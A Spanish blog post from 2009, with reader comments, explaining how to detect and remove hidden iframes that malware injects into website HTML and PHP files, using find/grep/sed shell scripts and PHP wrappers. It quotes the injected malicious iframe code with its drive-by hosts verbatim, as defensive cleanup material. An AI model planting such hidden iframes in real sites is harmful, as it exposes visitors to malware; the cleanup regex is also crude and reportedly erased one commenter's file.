Eliminación automática de iframe oculto

En este pequeño artículo describo la forma para eliminar los iframes que ciertos malware agregan a nuestro sitio para infectar otras computadoras, al parecer se trata de un virus o spyware llamado SALITY, ya que este malware se encarga de infectar archivos con extensiones .exe y .src, además de inyectar código html de un iframe en archivos HTML, PHP y ASP.

Cuando a mi me sucedió esto, estuve buscando en Internet una forma de eliminarlo automáticamente de todos mis sitios infectado, ya que desafortunadamente no contaba con un respaldo para reemplazar los archivos infectados, después de mucho buscar no la encontré, lo que encontré fue un script muy complejo y desde mi punto de vista, nada legible, además su autor no garantizaba su funcionamiento, había otra solución pero había que pagar por ella.

De acuerdo a toda la información encontrada me di cuenta que hay sitios en donde dicen que se trata de un vulnerabilidad en PHP (PHP Exploit), lo cual no es cierto, ya que esto es debido a un malware que reside en la computadora desde la cual se accede al servidor, de esta forma el malware puede acceder ya que conoce el nombre de usuario y contraseña.

Lo que hace este malware es agregar código a las páginas principales de los sitios que logra infectar, básicamente agrega iframes ocultos con referencia a sitios infectados, esto lo hace en HTML,  PHP o ASP, en archivos index, default o algunos otros considerados como principales.

En caso de HTML agrega algo como esto:

<iframe src="http:// xtrarobotz .com/?click=BC0230" width=1 height=1 style="visibility:hidden;position:absolute"></iframe>

En los casos de PHP puede realizar algo como esto:

<?php
define('WP_USE_THEMES', true);
require('./blog/wp-blog-header.php');
echo "<iframe src=\"http:// xtrarobotz . com/?click=BC0230\" width=1 height=1 style=\"visibility:hidden;position:absolute\"></iframe>";
echo "<iframe src=\"http:// nipkelo .net/?click=E74A05\" width=1 height=1 style=\"visibility:hidden;position:absolute\"></iframe>";
echo "<iframe src=\"http:// internetcountercheck . com/?click=14784531\" width=1 height=1 style=\"visibility:hidden;position:absolute\"></iframe>";
?>

Como se podrá observar, el sitio referenciado puede variar, existe una lista de sitios de los cuales se sabe están infectados.

En mi caso, en mis sitios me aparecían tanto en HTML como en PHP iframes del sitio internetcountercheck.

SOLUCIÓN

Para empezar, si eres víctima de este tipo de ataque lo primero que debes de realizar es cambiar tu contraseña de tu servidor ftp, ya que esta es la forma o fue la forma en la que pudieron acceder a tu sitio para la inyección de código.

Hosting economico

También debes de hacer un análisis de tu computadora en busca de virus y cualquier malware que pudiera existir, ya que si no te deshaces del malware, no sirve de nada cambiar la contraseña, puesto que seguirás accediendo al servidor desde tu computadora infectada. Desafortunadamente, si el virus que tenemos en nuestra computadora es el SALITY lo más probable es que nuestro antivirus ya no funcione ya que estará también infectado con el sality, así que lo recomendable será instalar otro antivirus.

Una vez estés seguro de que ya no existe algún malware en tu computadora puedes proceder a la limpieza de tu sitio.

Para revisar los archivos realicé el siguiente script del shell:

1: for i in `find .`; do
2:       if grep -q «<iframe» $i; then
3:          echo «Archivo» $i >> salida.txt
4:          grep -n «<iframe» $i >> salida.txt
5:       fi
6: done

Para aquellos que no conocen mucho acerca de esto, explico brevemente lo que se está realizando:

Línea 1: Enlista todos los archivos comenzando en el directorio actual (Esta instrucción puede ser cambiada por alguna equivalente como ls -R).

Línea 2: Para cada archivo encontrado, revisa si existe la cadena «<iframe».

En caso de haber encontrado la cadena «<iframe» en algún archivo

Línea 3: Escribe al archivo salida.txt la ruta y el nombre del archivo con la cadena.

Línea 4: Escribe al archivo salida.txt el número de la línea en que fue encontrada la cadena e inmediatamente después escribe el contenido de la línea.

Eso me sirvió para encontrar los archivos que contengan iframes, debido a que este script realiza una búsqueda exhaustiva, puede tardar dependiendo de la cantidad de archivos en tu sitio web, en mi caso tardo al rededor de 2 minutos en un servidor que tiene 7 sitios web. En el archivo salida.txt se pueden observar los resultados, el nombre del archivo, así como la línea donde se encuentra el iframe. Eso sirve para observar cierto comportamiento y al momento de eliminar sea más rápido.

En mi caso, como utilizo iframes de otros sitios, me daban resultados diferentes, pero de los iframes que no eran mios los identifiqué con la URL del sitio internetcountercheck.com por lo que para el proceso de eliminación utilicé el siguiente script:

1: for i in `find .  |grep index`; do
2:       if grep «internetcountercheck» $i; then
3:          echo «Removiendo de » $i
4:          sed ‘s/[echo «]*<iframe src=[\\]*»http:\/\/internetcounter[^>]*>[\w]*<\/iframe>[«;]*//g’ $i > $i.tmp
5:          mv $i.tmp $i
6:       fi
7: done
8: rm salida.txt

Explicación de el script:

Línea 1: Enlista todos los archivos de tipo index, esto es porque en mi caso únicamente encontré archivos index con iframe, pero también se pueden encontrar archivos default u otros, en ese caso es recomendable cambiar el script y reemplazar index por el nombre según sea necesario.

Línea 2: Busca archivos que contengan la cadena «internetcountercheck» (Esta puede ser cambiada por la cadena que se encuentre en tus archivos o en caso de que no manejes iframes puede quedarse la cadena»<iframe»)

Línea 3: Indica el archivo de donde se eliminará el iframe

Línea 4: Esta es la línea importante, ya que es aquí en donde se elimina el código malicioso. La cadena que cambiaste en la línea 2 por la cadena «internetcountercheck» deberás de cambiarla también en esta línea. En caso de que no manejaras iframes en tu sitio y que desees que se eliminen todos los iframes que existan la línea 4 puede ser substituida por esta:

4:          sed ‘s/[echo «]*<iframe[^>]*>[\w]*<\/iframe>[«;]*//g’ $i > $i.tmp

Línea 5: Debido a que el resultado de la línea 4 se almacena en otro archivo, se renombra el archivo temporal con el nombre original.

Línea 8: Al final se elimina el archivo salida.txt, esto es para que se vuelva a ejecutar el script que busca el código malicioso y no exista la información anterior en el archivo de salida.

Con estos dos scripts quedaron limpios mis sitios.

Estos dos scripts se pueden ejecutar desde la línea de comandos en caso de tener acceso a través de ssh, pero en la mayoría de los casos esto no es posible, así que para ello realicé 2 archivos en PHP en donde se ejecutan estos scripts.

Aquí dejo los archivos que ocupé para la eliminación de los iframe, modifícalos y adáptalos a tu caso. Una vez que hayas descomprimido los archivos y los hayas subido a tu servidor recuerda asignar permisos de ejecución a los archivos .sh, de preferencia que tengan el valor 500. Es recomendable subir los archivos al directorio raíz de tu sitio Web, por lo general es public_html. Para poder realizar los pasos lo único que debes de hacer es ingresar desde un navegador de la siguiente forma:

http://tudominio.terminacion/buscapalabra.php

http://tudominio.terminacion/eliminaiframe.php

Habiendo adaptado a tus necesidades los scripts

Descarga los Scripts

Espero les sirva a muchos así como a mi me ha funcionado y en caso de que lleguen a tener problemas con los scripts, expongan sus dudas para que sean aclaradas.

The URI to TrackBack this entry is: https://oscarif.wordpress.com/2009/08/04/eliminacion-automatica-de-iframe-oculto/trackback/

RSS feed for comments on this post.

32 comentariosDeja un comentario

  1. Si señor, por fin un post donde explican el problema EXACTO. Muy buena la info y los scripts.

    Imaginaba que era por culpa de mi ordenador, que cada 2×3 se este bloqueando la pagina y efectivamente, ahi esta el iframe.

    Saludos.

  2. Increible, porfin alguien que sabe lo que pasa.
    Te lo agradezco mucho compadre, encontre este blog en google, y ahora voy a revisar seguido tu info, muy bueno tu artículo.
    Me paso eso en 4 páginas y no sabía lo que era, supuse que fue un crack, pero ahora sé lo que pasaba.
    ok gracias.

  3. Estimado, al fin alguien que ayuda en ves de joder con pavadas y no decir nada!! muchas gracias por la ayuda, realmente gente como tu hace falta!!!

  4. oye mil gracias por la ayuda!!!

  5. […] el codigo que me destrozaba. Me faltan monitores!. Asi pues, navegando por la red, he visto este fantastico articulo que comenta un problema similar al que me ha pasado y supongo que a muchas otras personas […]

  6. y donde pongo los cosigos esos ??? alguein me lop prodia explicar?

    • Descargas el archivo, lo descomprimes y los subes a tu servidor, los colocas en el directorio raíz de tu sitio, por lo general es public_html. Abres el archivo buscapalabra.php desde tu dominio: http://tudominio.terminacion/buscapalabra.php. Revisas los resultados y modificas a tu necesidad el segundo script. Abres desde tu dominio el archivo eliminaiframe.php: http://tudominio.terminacion/eliminaiframe.php. Vuelves a abrir buscapalabra.php para verificar que ya no hay nada.

  7. Hola Oscar me dice esto

    Buscando…

    Warning: system() has been disabled for security reasons in /home/bf000537/public_html/buscapalabra.php on line 3
    Los resultados se encuentran en el archivo salida.txt;
    ——————————————————————————–
    Resultado:
    ——————————————————————————–
    Valor de retorno:

    Que estoy haciendo mal?
    Saludos

    • El error que te marca es debido a que tu servicio de hosting no te permite usar la instrucción system(), puedes reemplazar system() por exec() o passthru().

      Edita el fichero buscapalabra.php y reemplaza en la tercer línea donde dice system, por exec.

      En caso de que te aparezca el Warning, deberás de contactar a tu proovedor de hosting para que te habilite las funciones o te ofrezca una solución.

  8. En mi site me a arrojado 126 resultados encontrados pero no me escribe el archivo .txt que puede ser???
    este archivo se crea atuomaticamente en el mismo directorio? o debo crearlo manualmente?
    Agradecere de su ayuda.

    • Hola.

      El archivo salida.txt se genera automáticamente en el directorio actual. Revisa que el directorio en donde se ejecuta el script tenga permisos de escritura.

      Hasta luego.

      • Estimado. Me sigue lo mismo, no me es generado el archivo. he cambiado los permisos pero nada.
        AGradecere de vuestra ayuda.

      • Si después de ejecutar el scipt entró por ftp (o por el medio que su servicio de hosting le proporcione para visualizar sus archivos) y no se encuentra el archivo salida.txt en el mismo directorio en donde están los scripts, es posible que su servicio de hosting esté bloqueando algún servicio.

        Pruebe a eliminar del primer script en las líneas 3 y 4 lo siguiente:

        >> salida.txt

        Con esto, se deberán de mostrar en su navegador los resultados que aparecerían en el archivo salida.txt, la desventaja de esto es que podría se muy lento el despliegue.

        Hasta luego.

  9. En el archivo de salida detecto la siguiente linea:
    Archivo ./administrator/components/com_avreloaded/assets/de-DE.welcome.html
    31:

    Reemplace internetcountercheck por davtraff en la linea 2 y 4, funcionó con los index…pero no me funciona con las otras páginas, reemplace index por welcome para este ejemplo pero no funciona.-

    Alguna sugerencia? Gracias.

    Nota: Felicitaciones por el artículo

    • Hola.

      Al reemplazar index por welcome, debe funcionar.

      Revisa que el archivo no sea de sólo lectura o que no esté protegido.

      Hasta luego.

  10. Agradeceré si podeis revisar esta web http://www.adutax.cl ya que posee este script el cual borre de los archivos pero al volver a subir por FTP sigue dando el mismo problema en joomla.
    Alguna recomendacion o idea para sanear este gran problemota???
    Gracias

    • Hola.

      Si en los archivos volvió a aparecer el iframe, lo más seguro que es tengas en tu servidor un script que se ejecuta automáticamente para agregar el iframe. Revisa los archivos que tengan como nombre un número aleatorio con terminación .exe y si no son archivos tuyos, elimínalos. También busca un archivo llamado photo.jpg o image.jpg que por lo general se encuentra en una carpeta llamada images o imgs. Y si ese archivo no es una imagen, eliminala, ya que el script se pone extensión de imagen.

      Hasta luego.

  11. gracias , muchas gracias

  12. Hola, queria comentar que he usado el script pero me borra todo el contenido del archivo .html

    No se si hay un error en mi codigo, pero utilice la modificacion que decias en la linea 4, ya que no uso ningun iframe adicional en la pagina.

    Te agradezco tu colaboracion

    • Hola.

      Si no usas iframe, entonces solo debes de cambiar las URL.

      Adjunta o copia el contenido del archivo para revisar que esta mal.

      Saludos.

  13. hola estuve leyendo el archvo y parece bueno , pero la verdad … yo no entiendo casi nada de esto entonces no lo se hacer , vos podrias hacer una explicacion mas basica de un principio para saber todo lo que hay que hacer ….. si podes sino bueno no lo hare … la verdad yo tengo esta publicidad , pero no se como son los pasos que tengo que ir haciendo , osea … no me queda claro , pero si lo podes explicar paso a paso yo lo haria porque estas publicidades son re molestas , ademas no te dejan hacer coasas en los sitios no te dejan ver el contenido original porque esto te lo tapa ….

    bueno des de ya muchisimas gracias , muy buen aporte.

  14. Añadiendo la opción -i al comando sed te ahorras el temporal. 😉

  15. Gracias! fue muy util toda la info que publicaste
    Te consulto, hay alguna forme de asegurar al Apache y PHP para que no se siga generando estos archivos automaticamente?

  16. Thanks a bunch for sharing this with all people
    you really recognize what you’re speaking approximately! Bookmarked. Please also talk over with my website =). We may have a link exchange agreement between us

  17. Sigo tus pasos tal cual, pero a la hora de abrir esos enlaces poniendo mi sitio me dicen que no se puede mostrar. Imagino que me salto un paso. He hecho lo siguiente. Descargué el zip y lo descomprimí. Lo he subido al servidor tal cual, sin tocar nada, pero me da ese error. Imagino que hay algo que se me escapa, porque esos pasos que das para buscar el iframe no sé dónde colocarlos. Puedes ayudarme?

  18. First of all I want to say great blog! I had a quick question which I’d like to ask if you don’t
    mind. I was interested to find out how you center yourself and clear your mind prior to writing.
    I’ve had a difficult time clearing my mind in getting my ideas out. I do take pleasure in writing but it just seems like the first 10 to 15 minutes are generally lost just trying to figure out how to begin. Any suggestions or hints? Appreciate it!

  19. Hola Oscar, el artículo está excelente, sin embargo tengo un problema con mi sitio http://www.pyncompustar.com, con el primer script no me arroja ningún resultado, como puedo hacer para encontrar este iframe?

  20. You know the majority of people don’t genuinely know the benefits of operating a blog. Or simply just how much hard work that goes into building a blog page. Truthfully blogging can be a ton of fun as well as a smart way to increase your brand or even online business.

  21. What’s up friends, its impressive article concerning teachingand entirely defined, keep it up all the time.

  22. Oscar, y si el iframe está en php? A mí el problema se me inicia en el foro, y luego afecta a los htlm… Gracias

  23. Saludos amigo….hice el procedimiento y me detecta 2 amenazas con la ejecucion de buscapalabra.php. Paso el eliminaiframe.php y efectivamente los borra pero al cargar de nuevo la pagina vuelven a salir las ventanas de otros sitios. Revisé en imgs e imagenes y no encuentro ningun archivo llamado photo.jpg o image.jpg…que otro problema podria ser amigo ?

  24. sempre que tenho um hor‡rio vago eu venho ler em seu site .
    os artigos s‹o sempre bem elaborado e simples de entender .
    atŽ mais http://fullmetaltribe.com/F%C3%B3rmula_Ajuste_Acess%C3%ADvel


Replica a http://gsheet.blogspot.com/2006/07/gsheet-and-writely-updates.html Cancelar la respuesta